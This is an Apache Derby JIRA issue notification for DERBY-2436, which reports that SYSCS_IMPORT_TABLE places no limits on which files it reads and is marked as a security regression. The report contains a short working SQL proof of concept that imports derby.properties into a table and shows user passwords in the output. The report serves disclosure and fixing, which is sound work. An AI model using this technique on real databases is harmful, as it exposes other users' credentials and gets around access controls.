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https://issues.apache.org/jira/browse/DERBY-2436?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
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Kathey Marsden updated DERBY-2436:
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Derby Info: [Regression]
Based on Dan's comments, this is a security regression. Marking the regression
flag.
> SYSCS_IMPORT_TABLE can be used to read derby files
> --------------------------------------------------
>
> Key: DERBY-2436
> URL: https://issues.apache.org/jira/browse/DERBY-2436
> Project: Derby
> Issue Type: Bug
> Components: Security
> Affects Versions: 10.1.2.1, 10.2.1.6, 10.3.1.0
> Reporter: Daniel John Debrunner
> Priority: Critical
>
> There are no controls over which files SYSCS_IMPORT_TABLE can read, thus
> allowing any user that has permission to execute the procedure to try and
> access information that they have no permissions to do so. E.g. even with the
> secure-by-default network server I can execute three lines of SQL to view to
> contents of derby.properties, thus seeing passwords of other users, or the
> address of the ldap server.
> create table t (c varchar(32000));
> CALL SYSCS_UTIL.SYSCS_IMPORT_TABLE(NULL, 'T', 'derby.properties', NULL, NULL,
> 'ISO8859_1', 0);
> ij> select * from T;
> C
> ----------------------------------------------
> derby.connection.requireAuthentication=true
> derby.authentication.provider=BUILTIN
> derby.user.SA=sapwd
> derby.user.MARY=marypwd
> Also a similar trick could be attempted against the actual data files,
> allowing a user to attempt to bypass grant/revoke security, especially no
> that binary data can be exported/imported.
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